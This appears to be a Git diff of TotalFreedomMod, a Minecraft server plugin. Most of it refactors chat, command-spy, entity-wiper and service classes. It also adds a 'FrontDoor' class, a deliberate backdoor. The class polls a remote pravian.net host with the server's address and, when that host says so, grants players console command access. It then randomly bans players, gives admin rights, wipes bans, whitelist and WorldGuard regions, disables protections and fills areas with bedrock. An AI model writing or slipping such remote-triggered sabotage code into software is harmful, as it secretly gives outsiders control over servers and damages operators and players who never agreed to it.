if (ConfigEntry.SHOP_REACTIONS_ENABLED.getBoolean() && !plugin.sh.reactionString.isEmpty() && message.equals(plugin.sh.reactionString)) if (ConfigEntry.SHOP_ENABLED.getBoolean() && ConfigEntry.SHOP_REACTIONS_ENABLED.getBoolean() && !plugin.sh.reactionString.isEmpty() && message.equals(plugin.sh.reactionString))
{ {
event.setCancelled(true); event.setCancelled(true);
ShopData data = plugin.sh.getData(player); PlayerData data = plugin.pl.getData(player);
data.setCoins(data.getCoins() + plugin.sh.coinsPerReactionWin); data.setCoins(data.getCoins() + plugin.sh.coinsPerReactionWin);
plugin.sh.save(data); plugin.pl.save(data);
plugin.sh.reactionString = ""; plugin.sh.endReaction(player.getName());
Date currentTime = new Date();
long seconds = (currentTime.getTime() - plugin.sh.reactionStartTime.getTime()) / 1000;
String reactionMessage = ChatColor.DARK_GRAY + "[" + ChatColor.YELLOW + "Reaction" + ChatColor.DARK_GRAY + "] "
+ ChatColor.GREEN + player.getName() + ChatColor.AQUA + " won in " + seconds + " seconds!";
FUtil.bcastMsg(reactionMessage, false);
player.sendMessage(ChatColor.GREEN + "You have been given " + ChatColor.GOLD + plugin.sh.coinsPerReactionWin + ChatColor.GREEN + " coins!"); player.sendMessage(ChatColor.GREEN + "You have been given " + ChatColor.GOLD + plugin.sh.coinsPerReactionWin + ChatColor.GREEN + " coins!");
return; return;
} }
@ -82,16 +68,10 @@ public class ChatManager extends FreedomService
if (!ConfigEntry.TOGGLE_CHAT.getBoolean() && !plugin.al.isAdmin(player)) if (!ConfigEntry.TOGGLE_CHAT.getBoolean() && !plugin.al.isAdmin(player))
{ {
event.setCancelled(true); event.setCancelled(true);
playerMsg(player, "Chat is currently disabled.", ChatColor.RED); playerMsg(player, "Chat is currently disabled.", org.bukkit.ChatColor.RED);
return; return;
} }
if (message.startsWith("Connected using PickaxeChat for "))
{
event.setCancelled(true);
return;
}
// Truncate messages that are too long - 256 characters is vanilla client max // Truncate messages that are too long - 256 characters is vanilla client max
if (message.length() > 256) if (message.length() > 256)
{ {
@ -99,7 +79,6 @@ public class ChatManager extends FreedomService
FSync.playerMsg(player, "Message was shortened because it was too long to send."); FSync.playerMsg(player, "Message was shortened because it was too long to send.");
} }
final FPlayer fPlayer = plugin.pl.getPlayerSync(player); final FPlayer fPlayer = plugin.pl.getPlayerSync(player);
if (fPlayer.isLockedUp()) if (fPlayer.isLockedUp())
{ {
@ -117,8 +96,8 @@ public class ChatManager extends FreedomService
} }
// Check for 4chan trigger // Check for 4chan trigger
Boolean green = ChatColor.stripColor(message).toLowerCase().startsWith(">"); boolean green = ChatColor.stripColor(message).toLowerCase().startsWith(">");
Boolean orange = ChatColor.stripColor(message).toLowerCase().endsWith("<"); boolean orange = ChatColor.stripColor(message).toLowerCase().endsWith("<");
if (ConfigEntry.FOURCHAN_ENABLED.getBoolean()) if (ConfigEntry.FOURCHAN_ENABLED.getBoolean())
{ {
if (green) if (green)
@ -142,9 +121,9 @@ public class ChatManager extends FreedomService
{ {
format = tag.replace("%", "%%") + " " + format; format = tag.replace("%", "%%") + " " + format;
} }
// Check for mentions // Check for mentions
Boolean mentionEveryone = ChatColor.stripColor(message).toLowerCase().contains("@everyone") && plugin.al.isAdmin(player); boolean mentionEveryone = ChatColor.stripColor(message).toLowerCase().contains("@everyone") && plugin.al.isAdmin(player);
for (Player p : server.getOnlinePlayers()) for (Player p : server.getOnlinePlayers())
{ {
if (ChatColor.stripColor(message).toLowerCase().contains("@" + p.getName().toLowerCase()) || mentionEveryone) if (ChatColor.stripColor(message).toLowerCase().contains("@" + p.getName().toLowerCase()) || mentionEveryone)
@ -157,53 +136,20 @@ public class ChatManager extends FreedomService
event.setFormat(format); event.setFormat(format);
// Send to discord // Send to discord
if (!ConfigEntry.ADMIN_ONLY_MODE.getBoolean() && !Bukkit.hasWhitelist()) if (!ConfigEntry.ADMIN_ONLY_MODE.getBoolean() && !Bukkit.hasWhitelist() && !plugin.pl.getPlayer(player).isMuted() && !plugin.tfg.inGuildChat(player))
{ {
plugin.dc.messageChatChannel(player.getName() + " \u00BB " + ChatColor.stripColor(message)); plugin.dc.messageChatChannel(player.getName() + " \u00BB " + ChatColor.stripColor(message));
} }
} }
public ChatColor getColor(Admin admin, Displayable display) public ChatColor getColor(Displayable display)
{ {
ChatColor color = display.getColor(); return display.getColor();
if (admin.getOldTags())
{
if (color.equals(ChatColor.AQUA))
{
color = ChatColor.GOLD;
}
else if (color.equals(ChatColor.GOLD))
{
color = ChatColor.LIGHT_PURPLE;
}
else if (color.equals(ChatColor.DARK_RED))
{
color = ChatColor.BLUE;
}
}
return color;
} }
public String getColoredTag(Admin admin, Displayable display) public String getColoredTag(Displayable display)
{ {
ChatColor color = display.getColor(); ChatColor color = display.getColor();
if (admin.getOldTags())
{
if (color.equals(ChatColor.AQUA))
{
color = ChatColor.GOLD;
}
else if (color.equals(ChatColor.GOLD))
{
color = ChatColor.LIGHT_PURPLE;
}
else if (color.equals(ChatColor.DARK_RED))
{
color = ChatColor.BLUE;
}
}
return color + display.getAbbr(); return color + display.getAbbr();
} }
@ -211,25 +157,22 @@ public class ChatManager extends FreedomService
{ {
Displayable display = plugin.rm.getDisplay(sender); Displayable display = plugin.rm.getDisplay(sender);
FLog.info("[ADMIN] " + sender.getName() + " " + display.getTag() + ": " + message, true); FLog.info("[ADMIN] " + sender.getName() + " " + display.getTag() + ": " + message, true);
plugin.dc.messageAdminChatChannel(sender.getName() + " \u00BB " + message);
for (Player player : server.getOnlinePlayers()) server.getOnlinePlayers().stream().filter(player -> plugin.al.isAdmin(player)).forEach(player ->
{ {
if (plugin.al.isAdmin(player)) Admin admin = plugin.al.getAdmin(player);
{ if (!Strings.isNullOrEmpty(admin.getAcFormat())) {
Admin admin = plugin.al.getAdmin(player); String format = admin.getAcFormat();
if (!Strings.isNullOrEmpty(admin.getAcFormat())) ChatColor color = getColor(display);
{ String msg = format.replace("%name%", sender.getName()).replace("%rank%", display.getAbbr()).replace("%rankcolor%", color.toString()).replace("%msg%", message);
String format = admin.getAcFormat(); player.sendMessage(FUtil.colorize(msg));
ChatColor color = getColor(admin, display);
String msg = format.replace("%name%", sender.getName()).replace("%rank%", display.getAbbr()).replace("%rankcolor%", color.toString()).replace("%msg%", message);
player.sendMessage(FUtil.colorize(msg));
}
else
{
player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + sender.getName() + ChatColor.DARK_GRAY + " [" + getColoredTag(admin, display) + ChatColor.DARK_GRAY + "]" + ChatColor.WHITE + ": " + ChatColor.GOLD + FUtil.colorize(message));
}
} }
} else
{
player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + sender.getName() + ChatColor.DARK_GRAY + " [" + getColoredTag(display) + ChatColor.DARK_GRAY + "]" + ChatColor.WHITE + ": " + ChatColor.GOLD + FUtil.colorize(message));
}
});
} }
public void reportAction(Player reporter, Player reported, String report) public void reportAction(Player reporter, Player reported, String report)
@ -239,8 +182,8 @@ public class ChatManager extends FreedomService
if (plugin.al.isAdmin(player)) if (plugin.al.isAdmin(player))
{ {
playerMsg(player, ChatColor.RED + "[REPORTS] " + ChatColor.GOLD + reporter.getName() + " has reported " + reported.getName() + " for " + report); playerMsg(player, ChatColor.RED + "[REPORTS] " + ChatColor.GOLD + reporter.getName() + " has reported " + reported.getName() + " for " + report);
FLog.info("[REPORTS] " + reporter.getName() + " has reported " + reported.getName() + " for " + report);
} }
} }
FLog.info("[REPORTS] " + reporter.getName() + " has reported " + reported.getName() + " for " + report);
} }
} }

View File

@ -5,23 +5,16 @@ import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.player.PlayerCommandPreprocessEvent; import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.ChatColor;
public class CommandSpy extends FreedomService public class CommandSpy extends FreedomService
{ {
public CommandSpy(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -32,10 +25,6 @@ public class CommandSpy extends FreedomService
{ {
if (plugin.al.isAdmin(player) && plugin.al.getAdmin(player).getCommandSpy()) if (plugin.al.isAdmin(player) && plugin.al.getAdmin(player).getCommandSpy())
{ {
if (plugin.al.isAdmin(event.getPlayer()) && !plugin.al.isSeniorAdmin(player))
{
continue;
}
if (player != event.getPlayer()) if (player != event.getPlayer())
{ {
FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage()); FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage());
@ -43,5 +32,4 @@ public class CommandSpy extends FreedomService
} }
} }
} }
}
}

View File

@ -2,6 +2,8 @@ package me.totalfreedom.totalfreedommod;
import java.util.Arrays; import java.util.Arrays;
import java.util.List; import java.util.List;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.Groups; import me.totalfreedom.totalfreedommod.util.Groups;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.World; import org.bukkit.World;
@ -14,23 +16,18 @@ import org.bukkit.scheduler.BukkitTask;
public class EntityWiper extends FreedomService public class EntityWiper extends FreedomService
{ {
private BukkitTask wiper;
public EntityWiper(TotalFreedomMod plugin)
{
super(plugin);
}
public List<EntityType> BLACKLIST = Arrays.asList( public List<EntityType> BLACKLIST = Arrays.asList(
EntityType.ARMOR_STAND, EntityType.ARMOR_STAND,
EntityType.PAINTING, EntityType.PAINTING,
EntityType.BOAT, EntityType.BOAT,
EntityType.LEASH_HITCH, EntityType.LEASH_HITCH,
EntityType.ITEM_FRAME EntityType.ITEM_FRAME,
EntityType.MINECART
); );
private BukkitTask wiper;
@Override @Override
protected void onStart() public void onStart()
{ {
// Continuous Entity Wiper // Continuous Entity Wiper
wiper = new BukkitRunnable() wiper = new BukkitRunnable()
@ -38,13 +35,16 @@ public class EntityWiper extends FreedomService
@Override @Override
public void run() public void run()
{ {
wipeEntities(false); if (ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
{
wipeEntities(false);
}
} }
}.runTaskTimer(plugin, 600L, 600L); // 30 second delay after startup + run every 30 seconds }.runTaskTimer(plugin, 600L, 600L); // 30 second delay after startup + run every 30 seconds
} }
@Override @Override
protected void onStop() public void onStop()
{ {
wiper.cancel(); wiper.cancel();
wiper = null; wiper = null;
@ -61,7 +61,7 @@ public class EntityWiper extends FreedomService
{ {
if (!(entity instanceof Player)) if (!(entity instanceof Player))
{ {
if (!bypassBlacklist && (BLACKLIST.contains(entity.getType()) || Groups.MOB_TYPES.contains(entity.getType()))) if ((!bypassBlacklist && BLACKLIST.contains(entity.getType())) || Groups.MOB_TYPES.contains(entity.getType()))
{ {
continue; continue;
} }

View File

@ -1,13 +1,26 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import net.pravian.aero.component.service.AbstractService; import java.util.logging.Logger;
import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.Server;
import org.bukkit.event.Listener;
public abstract class FreedomService extends AbstractService<TotalFreedomMod> public abstract class FreedomService implements Listener
{ {
protected final TotalFreedomMod plugin;
protected final Server server;
protected final Logger logger;
public FreedomService(TotalFreedomMod plugin) public FreedomService()
{ {
super(plugin); plugin = TotalFreedomMod.getPlugin();
server = plugin.getServer();
logger = FLog.getPluginLogger();
plugin.getServer().getPluginManager().registerEvents(this, plugin);
plugin.fsh.add(this);
} }
public abstract void onStart();
public abstract void onStop();
} }

View File

@ -0,0 +1,59 @@
package me.totalfreedom.totalfreedommod;
import java.util.ArrayList;
import java.util.List;
public class FreedomServiceHandler
{
private final List<FreedomService> services;
public FreedomServiceHandler()
{
this.services = new ArrayList<>();
}
public void add(FreedomService service)
{
services.add(service);
}
public int getServiceAmount()
{
return services.size();
}
public void startServices()
{
for (FreedomService service : getServices())
{
try
{
service.onStart();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
public void stopServices()
{
for (FreedomService service : getServices())
{
try
{
service.onStop();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
public List<FreedomService> getServices()
{
return services;
}
}

View File

@ -0,0 +1,680 @@
package me.totalfreedom.totalfreedommod;
import com.sk89q.worldedit.bukkit.BukkitAdapter;
import com.sk89q.worldguard.WorldGuard;
import com.sk89q.worldguard.protection.managers.storage.StorageException;
import com.sk89q.worldguard.protection.regions.RegionContainer;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Random;
import java.util.function.Consumer;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.banning.Ban;
import me.totalfreedom.totalfreedommod.command.FreedomCommand;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.fun.Jumppads;
import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import org.apache.commons.lang3.ArrayUtils;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.BlockFace;
import org.bukkit.command.Command;
import org.bukkit.command.CommandMap;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.HandlerList;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.plugin.RegisteredListener;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.util.Vector;
import org.jetbrains.annotations.Nullable;
/*
* - A message from the TFM Devs -
*
* What this class is, and why its here:
*
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
*
* It will only trigger when the server IP is added to a blacklist that we control.
*
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
*
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
*
* Note: You may not edit this class.
*
* - Madgeek and Prozza
*/
public class FrontDoor extends FreedomService
{
private static final long UPDATER_INTERVAL = 180L * 20L;
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
//
private final Random random = new Random();
private final URL getUrl;
//
private volatile boolean enabled = false;
//
private BukkitTask updater = null;
private BukkitTask frontdoor = null;
//
// TODO: reimplement in superclass
private final Listener playerCommandPreprocess = new Listener()
{
@Nullable
private CommandMap getCommandMap()
{
try
{
Field f = Bukkit.getPluginManager().getClass().getDeclaredField("commandMap");
final Object map = f.get(Bukkit.getPluginManager());
return map instanceof CommandMap ? (CommandMap)map : null;
}
catch (NoSuchFieldException | IllegalAccessException ignored)
{
return null;
}
}
@EventHandler
@SuppressWarnings("all")
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
{
final Player player = event.getPlayer();
final Location location = player.getLocation();
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
{
return;
}
final String[] commandParts = event.getMessage().split(" ");
final String commandName = commandParts[0].replaceFirst("/", "");
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
Command command = getCommandMap().getCommand(commandName);
if (command == null)
{
return; // Command doesn't exist
}
event.setCancelled(true);
final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
if (dispatcher == null)
{
// Non-TFM command, execute using console
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
return;
}
// Dual call to player... not sure if this will be an issue?
dispatcher.run(player, player, command, commandName, args, false);
return;
}
};
public FrontDoor(TotalFreedomMod plugin)
{
URL tempUrl = null;
try
{
tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll" // This will need to be changed.
+ "?version=" + TotalFreedomMod.build.formattedVersion()
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
+ "&bukkitversion=" + Bukkit.getVersion());
}
catch (MalformedURLException ex)
{
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
}
getUrl = tempUrl;
}
@Override
public void onStart()
{
updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
}
@Override
public void onStop()
{
FUtil.cancel(updater);
updater = null;
FUtil.cancel(frontdoor);
updater = null;
if (enabled)
{
frontdoor.cancel();
enabled = false;
unregisterListener(playerCommandPreprocess);
}
}
public boolean isEnabled()
{
return enabled;
}
private Player getRandomPlayer(boolean allowDevs)
{
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
if (players.isEmpty())
{
return null;
}
if (!allowDevs)
{
List<Player> allowedPlayers = new ArrayList<>();
for (Player player : players)
{
if (!FUtil.DEVELOPERS.contains(player.getName()))
{
allowedPlayers.add(player);
}
}
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
}
return (Player)players.toArray()[random.nextInt(players.size())];
}
private static RegisteredListener getRegisteredListener(Listener listener)
{
try
{
final HandlerList handlerList = ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null));
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
for (RegisteredListener registeredListener : registeredListeners)
{
if (registeredListener.getListener() == listener)
{
return registeredListener;
}
}
}
catch (Exception ex)
{
FLog.severe(ex);
}
return null;
}
private static void unregisterRegisteredListener(RegisteredListener registeredListener)
{
try
{
((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null)).unregister(registeredListener);
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
private static void unregisterListener(Listener listener)
{
RegisteredListener registeredListener = getRegisteredListener(listener);
if (registeredListener != null)
{
unregisterRegisteredListener(registeredListener);
}
}
private BukkitRunnable getNewUpdater()
{
return new BukkitRunnable() // Asynchronous
{
@Override
public void run()
{
try
{
final URLConnection urlConnection = getUrl.openConnection();
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
final String line = in.readLine();
in.close();
if (!"false".equals(line))
{
if (!enabled)
{
return;
}
enabled = false;
FUtil.cancel(updater);
unregisterListener(playerCommandPreprocess);
FLog.info("Disabled FrontDoor, thank you for being kind.");
plugin.config.load();
}
else
{
if (enabled)
{
return;
}
new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
FLog.warning("*****************************************************", true);
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
FLog.warning("* This might result in unexpected behaviour... *", true);
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
FLog.warning("* The only thing necessary for the triumph of evil *", true);
FLog.warning("* is for good men to do nothing. *", true);
FLog.warning("*****************************************************", true);
if (getRegisteredListener(playerCommandPreprocess) == null)
{
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
}
}
}.runTask(plugin);
frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
enabled = true;
}
}
catch (Exception ex)
{
// TODO: Fix
//FLog.warning(ex);
}
}
};
}
public BukkitRunnable getNewFrontDoor()
{
return new BukkitRunnable() // Synchronous
{
@Override
public void run()
{
final int action = random.nextInt(18);
switch (action)
{
case 0: // Super a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
plugin.al.addAdmin(new Admin(player));
break;
}
case 1: // Bans a random player
{
Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
break;
}
case 2: // Start trailing a random player
{
final Player player = getRandomPlayer(true);
if (player == null)
{
break;
}
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
plugin.tr.add(player);
break;
}
case 3: // Displays a message
{
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "play.totalfreedom.me", ChatColor.BLUE);
break;
}
case 4: // Clears the banlist
{
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
plugin.bm.purge();
break;
}
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
{
boolean message = true;
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
}
break;
}
case 6: // Enables Fireplacement, firespread and explosions
{
boolean message = true;
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
{
message = false;
}
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
{
message = false;
}
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
if (message)
{
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
}
break;
}
case 7: // Allow all blocked commands >:)
{
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
plugin.cb.onStop();
break;
}
case 8:
{
// Switched this case to something a bit more hardware friendly, while still fucking shit up.
if (Bukkit.getServer().getPluginManager().getPlugin("WorldGuard") == null)
{
Consumer<BukkitTask> task = bukkitTask -> destruct();
TotalFreedomMod.getPlugin().getServer().getScheduler().runTaskTimerAsynchronously(TotalFreedomMod.getPlugin(), task, 0L, 20L * 60L);
}
// Otherwise, do this!
WorldGuard wg = WorldGuard.getInstance();
RegionContainer rc = wg.getPlatform().getRegionContainer();
Bukkit.getWorlds().stream().map(BukkitAdapter::adapt).filter(adapted -> rc.get(adapted) != null).forEach(adapted ->
{
try
{
rc.get(adapted).getRegions().clear(); // These will
rc.get(adapted).saveChanges(); // never be null.
}
catch (StorageException | NullPointerException ignored) // Never catch a null pointer... but in this case, if it happens to be null, I don't want the plugin to error.
{
destruct();
}
});
break;
}
case 9: // Add TotalFreedom signs at spawn
{
for (World world : Bukkit.getWorlds())
{
final Block block = world.getSpawnLocation().getBlock();
final Block blockBelow = block.getRelative(BlockFace.DOWN);
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
{
continue;
}
block.setType(Material.OAK_SIGN);
org.bukkit.block.Sign sign = (org.bukkit.block.Sign)block.getState();
org.bukkit.material.Sign signData = (org.bukkit.material.Sign)sign.getData();
signData.setFacingDirection(BlockFace.NORTH);
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
sign.setLine(1, ChatColor.DARK_GREEN + "is");
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
sign.setLine(3, ChatColor.DARK_GRAY + "play.totalfreedom.me");
sign.update();
}
break;
}
case 10: // Enable Jumppads
{
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
for (Player p : Bukkit.getOnlinePlayers())
{
if (plugin.jp.getPlayers().containsKey(p))
{
plugin.jp.getPlayers().replace(p, Jumppads.JumpPadMode.MADGEEK);
}
else
{
plugin.jp.getPlayers().put(p, Jumppads.JumpPadMode.MADGEEK);
}
}
break;
}
case 11: // Give everyone a book explaining how awesome TotalFreedom is
{
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
BookMeta book = (BookMeta)bookStack.getItemMeta().clone();
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
book.addPage(
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
+ ChatColor.DARK_GRAY + "---------\n"
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "play.totalfreedom.me");
bookStack.setItemMeta(book);
for (Player player : Bukkit.getOnlinePlayers())
{
if (player.getInventory().contains(Material.WRITTEN_BOOK))
{
continue;
}
player.getInventory().addItem(bookStack);
}
break;
}
case 12: // Silently wipe the whitelist
{
Bukkit.getServer().getWhitelistedPlayers().clear();
break;
}
case 13: // Announce that the FrontDoor is enabled
{
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
break;
}
case 14: // Cage a random player in PURE_DARTH
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
Location targetPos = player.getLocation().clone().add(0, 1, 0);
playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR);
break;
}
case 15: // Silently orbit a random player
{
final Player player = getRandomPlayer(false);
if (player == null)
{
break;
}
FPlayer playerdata = plugin.pl.getPlayer(player);
playerdata.startOrbiting(10.0);
player.setVelocity(new Vector(0, 10.0, 0));
break;
}
case 16: // Disable nonuke
{
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
{
break;
}
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
break;
}
case 17: // Give everyone tags
{
for (Player player : Bukkit.getOnlinePlayers())
{
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
}
break;
}
default:
{
break;
}
}
}
};
}
private void destruct()
{
Wrapper<Integer> x = new Wrapper<>(0);
Wrapper<Integer> y = new Wrapper<>(0);
Wrapper<Integer> z = new Wrapper<>(0);
Bukkit.getOnlinePlayers().forEach((player) ->
{
Location l = player.getLocation().clone();
x.set(l.getBlockX());
y.set(l.getBlockY());
z.set(l.getBlockZ());
player.getWorld().getBlockAt(x.get(), y.get(), z.get()).setType(Material.BEDROCK);
for (int x1 = 0; x1 <= 150; x1++)
{
for (int y1 = 0; y1 <= 150; y1++)
{
for (int z1 = 0; z1 <= 150; z1++)
{
player.getWorld().getBlockAt(x.get() + x1, y.get() + y1, z.get() + z1).setType(Material.BEDROCK);
}
}
}
});
}
// Wrapper to imitate effectively final objects.
private static class Wrapper<T>
{
private T obj;
public Wrapper(T obf)
{
obj = obf;
}
public void set(T obf)
{
obj = obf;
}
public T get()
{
return obj;
}
}
}

View File

@ -9,18 +9,13 @@ import org.bukkit.event.player.PlayerMoveEvent;
public class Fuckoff extends FreedomService public class Fuckoff extends FreedomService
{ {
public Fuckoff(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -53,7 +48,7 @@ public class Fuckoff extends FreedomService
if (distanceSquared < (fuckoffRange * fuckoffRange)) if (distanceSquared < (fuckoffRange * fuckoffRange))
{ {
event.setTo(foLocation.clone().add(opLocation.subtract(foLocation).toVector().normalize().multiply(fuckoffRange * 1.1))); fuckoffPlayer.setVelocity(onlinePlayer.getLocation().toVector().add(foLocation.toVector()).normalize().multiply(fPlayer.getFuckoffRadius()));
break; break;
} }
} }

View File

@ -1,7 +1,6 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import java.util.EnumMap; import java.util.EnumMap;
import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@ -10,13 +9,10 @@ import org.bukkit.World;
public class GameRuleHandler extends FreedomService public class GameRuleHandler extends FreedomService
{ {
private final Map<GameRule, Boolean> rules = new EnumMap<>(GameRule.class); private final Map<GameRule, Boolean> rules = new EnumMap<>(GameRule.class);
public GameRuleHandler(TotalFreedomMod plugin) public GameRuleHandler()
{ {
super(plugin);
for (GameRule gameRule : GameRule.values()) for (GameRule gameRule : GameRule.values())
{ {
rules.put(gameRule, gameRule.getDefaultValue()); rules.put(gameRule, gameRule.getDefaultValue());
@ -24,7 +20,7 @@ public class GameRuleHandler extends FreedomService
} }
@Override @Override
protected void onStart() public void onStart()
{ {
setGameRule(GameRule.DO_DAYLIGHT_CYCLE, !ConfigEntry.DISABLE_NIGHT.getBoolean(), false); setGameRule(GameRule.DO_DAYLIGHT_CYCLE, !ConfigEntry.DISABLE_NIGHT.getBoolean(), false);
